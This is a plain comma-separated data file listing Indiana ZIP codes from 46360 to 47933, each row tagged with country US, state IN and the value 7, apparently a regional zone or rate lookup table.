US-IN-46360,US,IN,46360,7,,,, US-IN-46361,US,IN,46361,7,,,, US-IN-46365,US,IN,46365,7,,,, US-IN-46366,US,IN,46366,7,,,, US-IN-46368,US,IN,46368,7,,,, US-IN-46371,US,IN,46371,7,,,, US-IN-46372,US,IN,46372,7,,,, US-IN-46373,US,IN,46373,7,,,, US-IN-46374,US,IN,46374,7,,,, US-IN-46375,US,IN,46375,7,,,, US-IN-46376,US,IN,46376,7,,,, US-IN-46377,US,IN,46377,7,,,, US-IN-46379,US,IN,46379,7,,,, US-IN-46380,US,IN,46380,7,,,, US-IN-46381,US,IN,46381,7,,,, US-IN-46382,US,IN,46382,7,,,, US-IN-46383,US,IN,46383,7,,,, US-IN-46384,US,IN,46384,7,,,, US-IN-46385,US,IN,46385,7,,,, US-IN-46390,US,IN,46390,7,,,, US-IN-46391,US,IN,46391,7,,,, US-IN-46392,US,IN,46392,7,,,, US-IN-46393,US,IN,46393,7,,,, US-IN-46394,US,IN,46394,7,,,, US-IN-46401,US,IN,46401,7,,,, US-IN-46402,US,IN,46402,7,,,, US-IN-46403,US,IN,46403,7,,,, US-IN-46404,US,IN,46404,7,,,, US-IN-46405,US,IN,46405,7,,,, US-IN-46406,US,IN,46406,7,,,, US-IN-46407,US,IN,46407,7,,,, US-IN-46408,US,IN,46408,7,,,, US-IN-46409,US,IN,46409,7,,,, US-IN-46410,US,IN,46410,7,,,, US-IN-46411,US,IN,46411,7,,,, US-IN-46501,US,IN,46501,7,,,, US-IN-46502,US,IN,46502,7,,,, US-IN-46504,US,IN,46504,7,,,, US-IN-46506,US,IN,46506,7,,,, US-IN-46507,US,IN,46507,7,,,, US-IN-46508,US,IN,46508,7,,,, US-IN-46510,US,IN,46510,7,,,, US-IN-46511,US,IN,46511,7,,,, US-IN-46513,US,IN,46513,7,,,, US-IN-46514,US,IN,46514,7,,,, US-IN-46515,US,IN,46515,7,,,, US-IN-46516,US,IN,46516,7,,,, US-IN-46517,US,IN,46517,7,,,, US-IN-46524,US,IN,46524,7,,,, US-IN-46526,US,IN,46526,7,,,, US-IN-46527,US,IN,46527,7,,,, US-IN-46528,US,IN,46528,7,,,, US-IN-46530,US,IN,46530,7,,,, US-IN-46531,US,IN,46531,7,,,, US-IN-46532,US,IN,46532,7,,,, US-IN-46534,US,IN,46534,7,,,, US-IN-46536,US,IN,46536,7,,,, US-IN-46537,US,IN,46537,7,,,, US-IN-46538,US,IN,46538,7,,,, US-IN-46539,US,IN,46539,7,,,, US-IN-46540,US,IN,46540,7,,,, US-IN-46542,US,IN,46542,7,,,, US-IN-46543,US,IN,46543,7,,,, US-IN-46544,US,IN,46544,7,,,, US-IN-46545,US,IN,46545,7,,,, US-IN-46546,US,IN,46546,7,,,, US-IN-46550,US,IN,46550,7,,,, US-IN-46552,US,IN,46552,7,,,, US-IN-46553,US,IN,46553,7,,,, US-IN-46554,US,IN,46554,7,,,, US-IN-46555,US,IN,46555,7,,,, US-IN-46556,US,IN,46556,7,,,, US-IN-46561,US,IN,46561,7,,,, US-IN-46562,US,IN,46562,7,,,, US-IN-46563,US,IN,46563,7,,,, US-IN-46565,US,IN,46565,7,,,, US-IN-46567,US,IN,46567,7,,,, US-IN-46570,US,IN,46570,7,,,, US-IN-46571,US,IN,46571,7,,,, US-IN-46572,US,IN,46572,7,,,, US-IN-46573,US,IN,46573,7,,,, US-IN-46574,US,IN,46574,7,,,, US-IN-46580,US,IN,46580,7,,,, US-IN-46581,US,IN,46581,7,,,, US-IN-46582,US,IN,46582,7,,,, US-IN-46590,US,IN,46590,7,,,, US-IN-46595,US,IN,46595,7,,,, US-IN-46601,US,IN,46601,7,,,, US-IN-46613,US,IN,46613,7,,,, US-IN-46614,US,IN,46614,7,,,, US-IN-46615,US,IN,46615,7,,,, US-IN-46616,US,IN,46616,7,,,, US-IN-46617,US,IN,46617,7,,,, US-IN-46619,US,IN,46619,7,,,, US-IN-46624,US,IN,46624,7,,,, US-IN-46626,US,IN,46626,7,,,, US-IN-46628,US,IN,46628,7,,,, US-IN-46634,US,IN,46634,7,,,, US-IN-46635,US,IN,46635,7,,,, US-IN-46637,US,IN,46637,7,,,, US-IN-46660,US,IN,46660,7,,,, US-IN-46680,US,IN,46680,7,,,, US-IN-46699,US,IN,46699,7,,,, US-IN-46701,US,IN,46701,7,,,, US-IN-46702,US,IN,46702,7,,,, US-IN-46703,US,IN,46703,7,,,, US-IN-46704,US,IN,46704,7,,,, US-IN-46705,US,IN,46705,7,,,, US-IN-46706,US,IN,46706,7,,,, US-IN-46710,US,IN,46710,7,,,, US-IN-46711,US,IN,46711,7,,,, US-IN-46713,US,IN,46713,7,,,, US-IN-46714,US,IN,46714,7,,,, US-IN-46721,US,IN,46721,7,,,, US-IN-46723,US,IN,46723,7,,,, US-IN-46725,US,IN,46725,7,,,, US-IN-46730,US,IN,46730,7,,,, US-IN-46731,US,IN,46731,7,,,, US-IN-46732,US,IN,46732,7,,,, US-IN-46733,US,IN,46733,7,,,, US-IN-46737,US,IN,46737,7,,,, US-IN-46738,US,IN,46738,7,,,, US-IN-46740,US,IN,46740,7,,,, US-IN-46741,US,IN,46741,7,,,, US-IN-46742,US,IN,46742,7,,,, US-IN-46743,US,IN,46743,7,,,, US-IN-46745,US,IN,46745,7,,,, US-IN-46746,US,IN,46746,7,,,, US-IN-46747,US,IN,46747,7,,,, US-IN-46748,US,IN,46748,7,,,, US-IN-46750,US,IN,46750,7,,,, US-IN-46755,US,IN,46755,7,,,, US-IN-46759,US,IN,46759,7,,,, US-IN-46760,US,IN,46760,7,,,, US-IN-46761,US,IN,46761,7,,,, US-IN-46763,US,IN,46763,7,,,, US-IN-46764,US,IN,46764,7,,,, US-IN-46765,US,IN,46765,7,,,, US-IN-46766,US,IN,46766,7,,,, US-IN-46767,US,IN,46767,7,,,, US-IN-46769,US,IN,46769,7,,,, US-IN-46770,US,IN,46770,7,,,, US-IN-46771,US,IN,46771,7,,,, US-IN-46772,US,IN,46772,7,,,, US-IN-46773,US,IN,46773,7,,,, US-IN-46774,US,IN,46774,7,,,, US-IN-46776,US,IN,46776,7,,,, US-IN-46777,US,IN,46777,7,,,, US-IN-46778,US,IN,46778,7,,,, US-IN-46779,US,IN,46779,7,,,, US-IN-46780,US,IN,46780,7,,,, US-IN-46781,US,IN,46781,7,,,, US-IN-46782,US,IN,46782,7,,,, US-IN-46783,US,IN,46783,7,,,, US-IN-46784,US,IN,46784,7,,,, US-IN-46785,US,IN,46785,7,,,, US-IN-46786,US,IN,46786,7,,,, US-IN-46787,US,IN,46787,7,,,, US-IN-46788,US,IN,46788,7,,,, US-IN-46789,US,IN,46789,7,,,, US-IN-46791,US,IN,46791,7,,,, US-IN-46792,US,IN,46792,7,,,, US-IN-46793,US,IN,46793,7,,,, US-IN-46794,US,IN,46794,7,,,, US-IN-46795,US,IN,46795,7,,,, US-IN-46796,US,IN,46796,7,,,, US-IN-46797,US,IN,46797,7,,,, US-IN-46798,US,IN,46798,7,,,, US-IN-46799,US,IN,46799,7,,,, US-IN-46801,US,IN,46801,7,,,, US-IN-46802,US,IN,46802,7,,,, US-IN-46803,US,IN,46803,7,,,, US-IN-46804,US,IN,46804,7,,,, US-IN-46805,US,IN,46805,7,,,, US-IN-46806,US,IN,46806,7,,,, US-IN-46807,US,IN,46807,7,,,, US-IN-46808,US,IN,46808,7,,,, US-IN-46809,US,IN,46809,7,,,, US-IN-46814,US,IN,46814,7,,,, US-IN-46815,US,IN,46815,7,,,, US-IN-46816,US,IN,46816,7,,,, US-IN-46818,US,IN,46818,7,,,, US-IN-46819,US,IN,46819,7,,,, US-IN-46825,US,IN,46825,7,,,, US-IN-46835,US,IN,46835,7,,,, US-IN-46845,US,IN,46845,7,,,, US-IN-46850,US,IN,46850,7,,,, US-IN-46851,US,IN,46851,7,,,, US-IN-46852,US,IN,46852,7,,,, US-IN-46853,US,IN,46853,7,,,, US-IN-46854,US,IN,46854,7,,,, US-IN-46855,US,IN,46855,7,,,, US-IN-46856,US,IN,46856,7,,,, US-IN-46857,US,IN,46857,7,,,, US-IN-46858,US,IN,46858,7,,,, US-IN-46859,US,IN,46859,7,,,, US-IN-46860,US,IN,46860,7,,,, US-IN-46861,US,IN,46861,7,,,, US-IN-46862,US,IN,46862,7,,,, US-IN-46863,US,IN,46863,7,,,, US-IN-46864,US,IN,46864,7,,,, US-IN-46865,US,IN,46865,7,,,, US-IN-46866,US,IN,46866,7,,,, US-IN-46867,US,IN,46867,7,,,, US-IN-46868,US,IN,46868,7,,,, US-IN-46869,US,IN,46869,7,,,, US-IN-46885,US,IN,46885,7,,,, US-IN-46895,US,IN,46895,7,,,, US-IN-46896,US,IN,46896,7,,,, US-IN-46897,US,IN,46897,7,,,, US-IN-46898,US,IN,46898,7,,,, US-IN-46899,US,IN,46899,7,,,, US-IN-46901,US,IN,46901,7,,,, US-IN-46902,US,IN,46902,7,,,, US-IN-46903,US,IN,46903,7,,,, US-IN-46904,US,IN,46904,7,,,, US-IN-46910,US,IN,46910,7,,,, US-IN-46911,US,IN,46911,7,,,, US-IN-46912,US,IN,46912,7,,,, US-IN-46913,US,IN,46913,7,,,, US-IN-46914,US,IN,46914,7,,,, US-IN-46915,US,IN,46915,7,,,, US-IN-46916,US,IN,46916,7,,,, US-IN-46917,US,IN,46917,7,,,, US-IN-46919,US,IN,46919,7,,,, US-IN-46920,US,IN,46920,7,,,, US-IN-46921,US,IN,46921,7,,,, US-IN-46922,US,IN,46922,7,,,, US-IN-46923,US,IN,46923,7,,,, US-IN-46926,US,IN,46926,7,,,, US-IN-46928,US,IN,46928,7,,,, US-IN-46929,US,IN,46929,7,,,, US-IN-46930,US,IN,46930,7,,,, US-IN-46931,US,IN,46931,7,,,, US-IN-46932,US,IN,46932,7,,,, US-IN-46933,US,IN,46933,7,,,, US-IN-46935,US,IN,46935,7,,,, US-IN-46936,US,IN,46936,7,,,, US-IN-46937,US,IN,46937,7,,,, US-IN-46938,US,IN,46938,7,,,, US-IN-46939,US,IN,46939,7,,,, US-IN-46940,US,IN,46940,7,,,, US-IN-46941,US,IN,46941,7,,,, US-IN-46942,US,IN,46942,7,,,, US-IN-46943,US,IN,46943,7,,,, US-IN-46945,US,IN,46945,7,,,, US-IN-46946,US,IN,46946,7,,,, US-IN-46947,US,IN,46947,7,,,, US-IN-46950,US,IN,46950,7,,,, US-IN-46951,US,IN,46951,7,,,, US-IN-46952,US,IN,46952,7,,,, US-IN-46953,US,IN,46953,7,,,, US-IN-46957,US,IN,46957,7,,,, US-IN-46958,US,IN,46958,7,,,, US-IN-46959,US,IN,46959,7,,,, US-IN-46960,US,IN,46960,7,,,, US-IN-46961,US,IN,46961,7,,,, US-IN-46962,US,IN,46962,7,,,, US-IN-46965,US,IN,46965,7,,,, US-IN-46967,US,IN,46967,7,,,, US-IN-46968,US,IN,46968,7,,,, US-IN-46970,US,IN,46970,7,,,, US-IN-46971,US,IN,46971,7,,,, US-IN-46974,US,IN,46974,7,,,, US-IN-46975,US,IN,46975,7,,,, US-IN-46977,US,IN,46977,7,,,, US-IN-46978,US,IN,46978,7,,,, US-IN-46979,US,IN,46979,7,,,, US-IN-46980,US,IN,46980,7,,,, US-IN-46982,US,IN,46982,7,,,, US-IN-46984,US,IN,46984,7,,,, US-IN-46985,US,IN,46985,7,,,, US-IN-46986,US,IN,46986,7,,,, US-IN-46987,US,IN,46987,7,,,, US-IN-46988,US,IN,46988,7,,,, US-IN-46989,US,IN,46989,7,,,, US-IN-46990,US,IN,46990,7,,,, US-IN-46991,US,IN,46991,7,,,, US-IN-46992,US,IN,46992,7,,,, US-IN-46994,US,IN,46994,7,,,, US-IN-46995,US,IN,46995,7,,,, US-IN-46996,US,IN,46996,7,,,, US-IN-46998,US,IN,46998,7,,,, US-IN-47001,US,IN,47001,7,,,, US-IN-47003,US,IN,47003,7,,,, US-IN-47006,US,IN,47006,7,,,, US-IN-47010,US,IN,47010,7,,,, US-IN-47011,US,IN,47011,7,,,, US-IN-47012,US,IN,47012,7,,,, US-IN-47016,US,IN,47016,7,,,, US-IN-47017,US,IN,47017,7,,,, US-IN-47018,US,IN,47018,7,,,, US-IN-47019,US,IN,47019,7,,,, US-IN-47020,US,IN,47020,7,,,, US-IN-47021,US,IN,47021,7,,,, US-IN-47022,US,IN,47022,7,,,, US-IN-47023,US,IN,47023,7,,,, US-IN-47024,US,IN,47024,7,,,, US-IN-47025,US,IN,47025,7,,,, US-IN-47030,US,IN,47030,7,,,, US-IN-47031,US,IN,47031,7,,,, US-IN-47032,US,IN,47032,7,,,, US-IN-47033,US,IN,47033,7,,,, US-IN-47034,US,IN,47034,7,,,, US-IN-47035,US,IN,47035,7,,,, US-IN-47036,US,IN,47036,7,,,, US-IN-47037,US,IN,47037,7,,,, US-IN-47038,US,IN,47038,7,,,, US-IN-47039,US,IN,47039,7,,,, US-IN-47040,US,IN,47040,7,,,, US-IN-47041,US,IN,47041,7,,,, US-IN-47042,US,IN,47042,7,,,, US-IN-47043,US,IN,47043,7,,,, US-IN-47060,US,IN,47060,7,,,, US-IN-47102,US,IN,47102,7,,,, US-IN-47104,US,IN,47104,7,,,, US-IN-47106,US,IN,47106,7,,,, US-IN-47107,US,IN,47107,7,,,, US-IN-47108,US,IN,47108,7,,,, US-IN-47110,US,IN,47110,7,,,, US-IN-47111,US,IN,47111,7,,,, US-IN-47112,US,IN,47112,7,,,, US-IN-47114,US,IN,47114,7,,,, US-IN-47115,US,IN,47115,7,,,, US-IN-47116,US,IN,47116,7,,,, US-IN-47117,US,IN,47117,7,,,, US-IN-47118,US,IN,47118,7,,,, US-IN-47119,US,IN,47119,7,,,, US-IN-47120,US,IN,47120,7,,,, US-IN-47122,US,IN,47122,7,,,, US-IN-47123,US,IN,47123,7,,,, US-IN-47124,US,IN,47124,7,,,, US-IN-47125,US,IN,47125,7,,,, US-IN-47126,US,IN,47126,7,,,, US-IN-47129,US,IN,47129,7,,,, US-IN-47130,US,IN,47130,7,,,, US-IN-47131,US,IN,47131,7,,,, US-IN-47132,US,IN,47132,7,,,, US-IN-47133,US,IN,47133,7,,,, US-IN-47134,US,IN,47134,7,,,, US-IN-47135,US,IN,47135,7,,,, US-IN-47136,US,IN,47136,7,,,, US-IN-47137,US,IN,47137,7,,,, US-IN-47138,US,IN,47138,7,,,, US-IN-47140,US,IN,47140,7,,,, US-IN-47141,US,IN,47141,7,,,, US-IN-47142,US,IN,47142,7,,,, US-IN-47143,US,IN,47143,7,,,, US-IN-47144,US,IN,47144,7,,,, US-IN-47145,US,IN,47145,7,,,, US-IN-47146,US,IN,47146,7,,,, US-IN-47147,US,IN,47147,7,,,, US-IN-47150,US,IN,47150,7,,,, US-IN-47151,US,IN,47151,7,,,, US-IN-47160,US,IN,47160,7,,,, US-IN-47161,US,IN,47161,7,,,, US-IN-47162,US,IN,47162,7,,,, US-IN-47163,US,IN,47163,7,,,, US-IN-47164,US,IN,47164,7,,,, US-IN-47165,US,IN,47165,7,,,, US-IN-47166,US,IN,47166,7,,,, US-IN-47167,US,IN,47167,7,,,, US-IN-47170,US,IN,47170,7,,,, US-IN-47172,US,IN,47172,7,,,, US-IN-47174,US,IN,47174,7,,,, US-IN-47175,US,IN,47175,7,,,, US-IN-47177,US,IN,47177,7,,,, US-IN-47190,US,IN,47190,7,,,, US-IN-47199,US,IN,47199,7,,,, US-IN-47201,US,IN,47201,7,,,, US-IN-47202,US,IN,47202,7,,,, US-IN-47203,US,IN,47203,7,,,, US-IN-47220,US,IN,47220,7,,,, US-IN-47223,US,IN,47223,7,,,, US-IN-47224,US,IN,47224,7,,,, US-IN-47225,US,IN,47225,7,,,, US-IN-47226,US,IN,47226,7,,,, US-IN-47227,US,IN,47227,7,,,, US-IN-47228,US,IN,47228,7,,,, US-IN-47229,US,IN,47229,7,,,, US-IN-47230,US,IN,47230,7,,,, US-IN-47231,US,IN,47231,7,,,, US-IN-47232,US,IN,47232,7,,,, US-IN-47234,US,IN,47234,7,,,, US-IN-47235,US,IN,47235,7,,,, US-IN-47236,US,IN,47236,7,,,, US-IN-47240,US,IN,47240,7,,,, US-IN-47243,US,IN,47243,7,,,, US-IN-47244,US,IN,47244,7,,,, US-IN-47245,US,IN,47245,7,,,, US-IN-47246,US,IN,47246,7,,,, US-IN-47247,US,IN,47247,7,,,, US-IN-47249,US,IN,47249,7,,,, US-IN-47250,US,IN,47250,7,,,, US-IN-47260,US,IN,47260,7,,,, US-IN-47261,US,IN,47261,7,,,, US-IN-47263,US,IN,47263,7,,,, US-IN-47264,US,IN,47264,7,,,, US-IN-47265,US,IN,47265,7,,,, US-IN-47270,US,IN,47270,7,,,, US-IN-47272,US,IN,47272,7,,,, US-IN-47273,US,IN,47273,7,,,, US-IN-47274,US,IN,47274,7,,,, US-IN-47280,US,IN,47280,7,,,, US-IN-47281,US,IN,47281,7,,,, US-IN-47282,US,IN,47282,7,,,, US-IN-47283,US,IN,47283,7,,,, US-IN-47302,US,IN,47302,7,,,, US-IN-47303,US,IN,47303,7,,,, US-IN-47304,US,IN,47304,7,,,, US-IN-47305,US,IN,47305,7,,,, US-IN-47306,US,IN,47306,7,,,, US-IN-47307,US,IN,47307,7,,,, US-IN-47308,US,IN,47308,7,,,, US-IN-47320,US,IN,47320,7,,,, US-IN-47322,US,IN,47322,7,,,, US-IN-47324,US,IN,47324,7,,,, US-IN-47325,US,IN,47325,7,,,, US-IN-47326,US,IN,47326,7,,,, US-IN-47327,US,IN,47327,7,,,, US-IN-47330,US,IN,47330,7,,,, US-IN-47331,US,IN,47331,7,,,, US-IN-47334,US,IN,47334,7,,,, US-IN-47335,US,IN,47335,7,,,, US-IN-47336,US,IN,47336,7,,,, US-IN-47337,US,IN,47337,7,,,, US-IN-47338,US,IN,47338,7,,,, US-IN-47339,US,IN,47339,7,,,, US-IN-47340,US,IN,47340,7,,,, US-IN-47341,US,IN,47341,7,,,, US-IN-47342,US,IN,47342,7,,,, US-IN-47344,US,IN,47344,7,,,, US-IN-47345,US,IN,47345,7,,,, US-IN-47346,US,IN,47346,7,,,, US-IN-47348,US,IN,47348,7,,,, US-IN-47351,US,IN,47351,7,,,, US-IN-47352,US,IN,47352,7,,,, US-IN-47353,US,IN,47353,7,,,, US-IN-47354,US,IN,47354,7,,,, US-IN-47355,US,IN,47355,7,,,, US-IN-47356,US,IN,47356,7,,,, US-IN-47357,US,IN,47357,7,,,, US-IN-47358,US,IN,47358,7,,,, US-IN-47359,US,IN,47359,7,,,, US-IN-47360,US,IN,47360,7,,,, US-IN-47361,US,IN,47361,7,,,, US-IN-47362,US,IN,47362,7,,,, US-IN-47366,US,IN,47366,7,,,, US-IN-47367,US,IN,47367,7,,,, US-IN-47368,US,IN,47368,7,,,, US-IN-47369,US,IN,47369,7,,,, US-IN-47370,US,IN,47370,7,,,, US-IN-47371,US,IN,47371,7,,,, US-IN-47373,US,IN,47373,7,,,, US-IN-47374,US,IN,47374,7,,,, US-IN-47375,US,IN,47375,7,,,, US-IN-47380,US,IN,47380,7,,,, US-IN-47381,US,IN,47381,7,,,, US-IN-47382,US,IN,47382,7,,,, US-IN-47383,US,IN,47383,7,,,, US-IN-47384,US,IN,47384,7,,,, US-IN-47385,US,IN,47385,7,,,, US-IN-47386,US,IN,47386,7,,,, US-IN-47387,US,IN,47387,7,,,, US-IN-47388,US,IN,47388,7,,,, US-IN-47390,US,IN,47390,7,,,, US-IN-47392,US,IN,47392,7,,,, US-IN-47393,US,IN,47393,7,,,, US-IN-47394,US,IN,47394,7,,,, US-IN-47396,US,IN,47396,7,,,, US-IN-47401,US,IN,47401,7,,,, US-IN-47402,US,IN,47402,7,,,, US-IN-47403,US,IN,47403,7,,,, US-IN-47404,US,IN,47404,7,,,, US-IN-47405,US,IN,47405,7,,,, US-IN-47406,US,IN,47406,7,,,, US-IN-47407,US,IN,47407,7,,,, US-IN-47408,US,IN,47408,7,,,, US-IN-47420,US,IN,47420,7,,,, US-IN-47421,US,IN,47421,7,,,, US-IN-47424,US,IN,47424,7,,,, US-IN-47426,US,IN,47426,7,,,, US-IN-47427,US,IN,47427,7,,,, US-IN-47429,US,IN,47429,7,,,, US-IN-47431,US,IN,47431,7,,,, US-IN-47432,US,IN,47432,7,,,, US-IN-47433,US,IN,47433,7,,,, US-IN-47434,US,IN,47434,7,,,, US-IN-47435,US,IN,47435,7,,,, US-IN-47436,US,IN,47436,7,,,, US-IN-47437,US,IN,47437,7,,,, US-IN-47438,US,IN,47438,7,,,, US-IN-47439,US,IN,47439,7,,,, US-IN-47441,US,IN,47441,7,,,, US-IN-47443,US,IN,47443,7,,,, US-IN-47445,US,IN,47445,7,,,, US-IN-47446,US,IN,47446,7,,,, US-IN-47448,US,IN,47448,7,,,, US-IN-47449,US,IN,47449,7,,,, US-IN-47451,US,IN,47451,7,,,, US-IN-47452,US,IN,47452,7,,,, US-IN-47453,US,IN,47453,7,,,, US-IN-47454,US,IN,47454,7,,,, US-IN-47455,US,IN,47455,7,,,, US-IN-47456,US,IN,47456,7,,,, US-IN-47457,US,IN,47457,7,,,, US-IN-47458,US,IN,47458,7,,,, US-IN-47459,US,IN,47459,7,,,, US-IN-47460,US,IN,47460,7,,,, US-IN-47462,US,IN,47462,7,,,, US-IN-47463,US,IN,47463,7,,,, US-IN-47464,US,IN,47464,7,,,, US-IN-47465,US,IN,47465,7,,,, US-IN-47467,US,IN,47467,7,,,, US-IN-47468,US,IN,47468,7,,,, US-IN-47469,US,IN,47469,7,,,, US-IN-47470,US,IN,47470,7,,,, US-IN-47471,US,IN,47471,7,,,, US-IN-47501,US,IN,47501,7,,,, US-IN-47512,US,IN,47512,7,,,, US-IN-47513,US,IN,47513,7,,,, US-IN-47514,US,IN,47514,7,,,, US-IN-47515,US,IN,47515,7,,,, US-IN-47516,US,IN,47516,7,,,, US-IN-47519,US,IN,47519,7,,,, US-IN-47520,US,IN,47520,7,,,, US-IN-47521,US,IN,47521,7,,,, US-IN-47522,US,IN,47522,7,,,, US-IN-47523,US,IN,47523,7,,,, US-IN-47524,US,IN,47524,7,,,, US-IN-47525,US,IN,47525,7,,,, US-IN-47527,US,IN,47527,7,,,, US-IN-47528,US,IN,47528,7,,,, US-IN-47529,US,IN,47529,7,,,, US-IN-47531,US,IN,47531,7,,,, US-IN-47532,US,IN,47532,7,,,, US-IN-47535,US,IN,47535,7,,,, US-IN-47536,US,IN,47536,7,,,, US-IN-47537,US,IN,47537,7,,,, US-IN-47541,US,IN,47541,7,,,, US-IN-47542,US,IN,47542,7,,,, US-IN-47545,US,IN,47545,7,,,, US-IN-47546,US,IN,47546,7,,,, US-IN-47547,US,IN,47547,7,,,, US-IN-47549,US,IN,47549,7,,,, US-IN-47550,US,IN,47550,7,,,, US-IN-47551,US,IN,47551,7,,,, US-IN-47552,US,IN,47552,7,,,, US-IN-47553,US,IN,47553,7,,,, US-IN-47556,US,IN,47556,7,,,, US-IN-47557,US,IN,47557,7,,,, US-IN-47558,US,IN,47558,7,,,, US-IN-47561,US,IN,47561,7,,,, US-IN-47562,US,IN,47562,7,,,, US-IN-47564,US,IN,47564,7,,,, US-IN-47567,US,IN,47567,7,,,, US-IN-47568,US,IN,47568,7,,,, US-IN-47573,US,IN,47573,7,,,, US-IN-47574,US,IN,47574,7,,,, US-IN-47575,US,IN,47575,7,,,, US-IN-47576,US,IN,47576,7,,,, US-IN-47577,US,IN,47577,7,,,, US-IN-47578,US,IN,47578,7,,,, US-IN-47579,US,IN,47579,7,,,, US-IN-47580,US,IN,47580,7,,,, US-IN-47581,US,IN,47581,7,,,, US-IN-47584,US,IN,47584,7,,,, US-IN-47585,US,IN,47585,7,,,, US-IN-47586,US,IN,47586,7,,,, US-IN-47588,US,IN,47588,7,,,, US-IN-47590,US,IN,47590,7,,,, US-IN-47591,US,IN,47591,7,,,, US-IN-47596,US,IN,47596,7,,,, US-IN-47597,US,IN,47597,7,,,, US-IN-47598,US,IN,47598,7,,,, US-IN-47601,US,IN,47601,7,,,, US-IN-47610,US,IN,47610,7,,,, US-IN-47611,US,IN,47611,7,,,, US-IN-47612,US,IN,47612,7,,,, US-IN-47613,US,IN,47613,7,,,, US-IN-47615,US,IN,47615,7,,,, US-IN-47616,US,IN,47616,7,,,, US-IN-47617,US,IN,47617,7,,,, US-IN-47618,US,IN,47618,7,,,, US-IN-47619,US,IN,47619,7,,,, US-IN-47620,US,IN,47620,7,,,, US-IN-47629,US,IN,47629,7,,,, US-IN-47630,US,IN,47630,7,,,, US-IN-47631,US,IN,47631,7,,,, US-IN-47633,US,IN,47633,7,,,, US-IN-47634,US,IN,47634,7,,,, US-IN-47635,US,IN,47635,7,,,, US-IN-47637,US,IN,47637,7,,,, US-IN-47638,US,IN,47638,7,,,, US-IN-47639,US,IN,47639,7,,,, US-IN-47640,US,IN,47640,7,,,, US-IN-47647,US,IN,47647,7,,,, US-IN-47648,US,IN,47648,7,,,, US-IN-47649,US,IN,47649,7,,,, US-IN-47654,US,IN,47654,7,,,, US-IN-47660,US,IN,47660,7,,,, US-IN-47665,US,IN,47665,7,,,, US-IN-47666,US,IN,47666,7,,,, US-IN-47670,US,IN,47670,7,,,, US-IN-47683,US,IN,47683,7,,,, US-IN-47701,US,IN,47701,7,,,, US-IN-47702,US,IN,47702,7,,,, US-IN-47703,US,IN,47703,7,,,, US-IN-47704,US,IN,47704,7,,,, US-IN-47705,US,IN,47705,7,,,, US-IN-47706,US,IN,47706,7,,,, US-IN-47708,US,IN,47708,7,,,, US-IN-47710,US,IN,47710,7,,,, US-IN-47711,US,IN,47711,7,,,, US-IN-47712,US,IN,47712,7,,,, US-IN-47713,US,IN,47713,7,,,, US-IN-47714,US,IN,47714,7,,,, US-IN-47715,US,IN,47715,7,,,, US-IN-47716,US,IN,47716,7,,,, US-IN-47719,US,IN,47719,7,,,, US-IN-47720,US,IN,47720,7,,,, US-IN-47721,US,IN,47721,7,,,, US-IN-47722,US,IN,47722,7,,,, US-IN-47724,US,IN,47724,7,,,, US-IN-47725,US,IN,47725,7,,,, US-IN-47728,US,IN,47728,7,,,, US-IN-47730,US,IN,47730,7,,,, US-IN-47731,US,IN,47731,7,,,, US-IN-47732,US,IN,47732,7,,,, US-IN-47733,US,IN,47733,7,,,, US-IN-47734,US,IN,47734,7,,,, US-IN-47735,US,IN,47735,7,,,, US-IN-47736,US,IN,47736,7,,,, US-IN-47737,US,IN,47737,7,,,, US-IN-47740,US,IN,47740,7,,,, US-IN-47747,US,IN,47747,7,,,, US-IN-47750,US,IN,47750,7,,,, US-IN-47801,US,IN,47801,7,,,, US-IN-47802,US,IN,47802,7,,,, US-IN-47803,US,IN,47803,7,,,, US-IN-47804,US,IN,47804,7,,,, US-IN-47805,US,IN,47805,7,,,, US-IN-47807,US,IN,47807,7,,,, US-IN-47808,US,IN,47808,7,,,, US-IN-47809,US,IN,47809,7,,,, US-IN-47830,US,IN,47830,7,,,, US-IN-47831,US,IN,47831,7,,,, US-IN-47832,US,IN,47832,7,,,, US-IN-47833,US,IN,47833,7,,,, US-IN-47834,US,IN,47834,7,,,, US-IN-47836,US,IN,47836,7,,,, US-IN-47837,US,IN,47837,7,,,, US-IN-47838,US,IN,47838,7,,,, US-IN-47840,US,IN,47840,7,,,, US-IN-47841,US,IN,47841,7,,,, US-IN-47842,US,IN,47842,7,,,, US-IN-47845,US,IN,47845,7,,,, US-IN-47846,US,IN,47846,7,,,, US-IN-47847,US,IN,47847,7,,,, US-IN-47848,US,IN,47848,7,,,, US-IN-47849,US,IN,47849,7,,,, US-IN-47850,US,IN,47850,7,,,, US-IN-47851,US,IN,47851,7,,,, US-IN-47852,US,IN,47852,7,,,, US-IN-47853,US,IN,47853,7,,,, US-IN-47854,US,IN,47854,7,,,, US-IN-47855,US,IN,47855,7,,,, US-IN-47857,US,IN,47857,7,,,, US-IN-47858,US,IN,47858,7,,,, US-IN-47859,US,IN,47859,7,,,, US-IN-47860,US,IN,47860,7,,,, US-IN-47861,US,IN,47861,7,,,, US-IN-47862,US,IN,47862,7,,,, US-IN-47863,US,IN,47863,7,,,, US-IN-47865,US,IN,47865,7,,,, US-IN-47866,US,IN,47866,7,,,, US-IN-47868,US,IN,47868,7,,,, US-IN-47869,US,IN,47869,7,,,, US-IN-47870,US,IN,47870,7,,,, US-IN-47871,US,IN,47871,7,,,, US-IN-47872,US,IN,47872,7,,,, US-IN-47874,US,IN,47874,7,,,, US-IN-47875,US,IN,47875,7,,,, US-IN-47876,US,IN,47876,7,,,, US-IN-47878,US,IN,47878,7,,,, US-IN-47879,US,IN,47879,7,,,, US-IN-47880,US,IN,47880,7,,,, US-IN-47881,US,IN,47881,7,,,, US-IN-47882,US,IN,47882,7,,,, US-IN-47884,US,IN,47884,7,,,, US-IN-47885,US,IN,47885,7,,,, US-IN-47901,US,IN,47901,7,,,, US-IN-47902,US,IN,47902,7,,,, US-IN-47903,US,IN,47903,7,,,, US-IN-47904,US,IN,47904,7,,,, US-IN-47905,US,IN,47905,7,,,, US-IN-47906,US,IN,47906,7,,,, US-IN-47907,US,IN,47907,7,,,, US-IN-47909,US,IN,47909,7,,,, US-IN-47916,US,IN,47916,7,,,, US-IN-47917,US,IN,47917,7,,,, US-IN-47918,US,IN,47918,7,,,, US-IN-47920,US,IN,47920,7,,,, US-IN-47921,US,IN,47921,7,,,, US-IN-47922,US,IN,47922,7,,,, US-IN-47923,US,IN,47923,7,,,, US-IN-47924,US,IN,47924,7,,,, US-IN-47925,US,IN,47925,7,,,, US-IN-47926,US,IN,47926,7,,,, US-IN-47928,US,IN,47928,7,,,, US-IN-47929,US,IN,47929,7,,,, US-IN-47930,US,IN,47930,7,,,, US-IN-47932,US,IN,47932,7,,,, US-IN-47933,US,IN,47933,7,,,, 